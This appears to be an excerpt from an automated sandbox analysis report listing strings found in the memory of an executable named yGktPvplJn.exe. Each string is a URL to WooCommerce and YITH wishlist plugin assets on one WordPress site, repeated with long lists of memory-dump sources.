http://www.stnic.co.uk/wp-content/plugins/woocommerce/assets/fonts/cardo_normal_400.woff2
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.stnic.co.uk/wp-content/plugins/woocommerce/assets/js/frontend/add-to-cart-variation.min.j
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.stnic.co.uk/wp-content/plugins/woocommerce/assets/js/frontend/add-to-cart.min.js?ver=9.1.
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.stnic.co.uk/wp-content/plugins/woocommerce/assets/js/frontend/cart-fragments.min.js?ver=9
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.stnic.co.uk/wp-content/plugins/woocommerce/assets/js/frontend/order-attribution.min.js?ve
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.stnic.co.uk/wp-content/plugins/woocommerce/assets/js/frontend/woocommerce.min.js?ver=9.1.
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.stnic.co.uk/wp-content/plugins/woocommerce/assets/js/jquery-blockui/jquery.blockUI.min.js
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.stnic.co.uk/wp-content/plugins/woocommerce/assets/js/js-cookie/js.cookie.min.js?ver=2.1.4
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.stnic.co.uk/wp-content/plugins/woocommerce/assets/js/sourcebuster/sourcebuster.min.js?ver
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.stnic.co.uk/wp-content/plugins/yith-woocommerce-wishlist/assets/css/font-awesome.css?ver=
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.stnic.co.uk/wp-content/plugins/yith-woocommerce-wishlist/assets/css/jquery.selectBox.css?
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.stnic.co.uk/wp-content/plugins/yith-woocommerce-wishlist/assets/css/style.css?ver=3.36.0
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.stnic.co.uk/wp-content/plugins/yith-woocommerce-wishlist/assets/js/jquery.selectBox.min.j
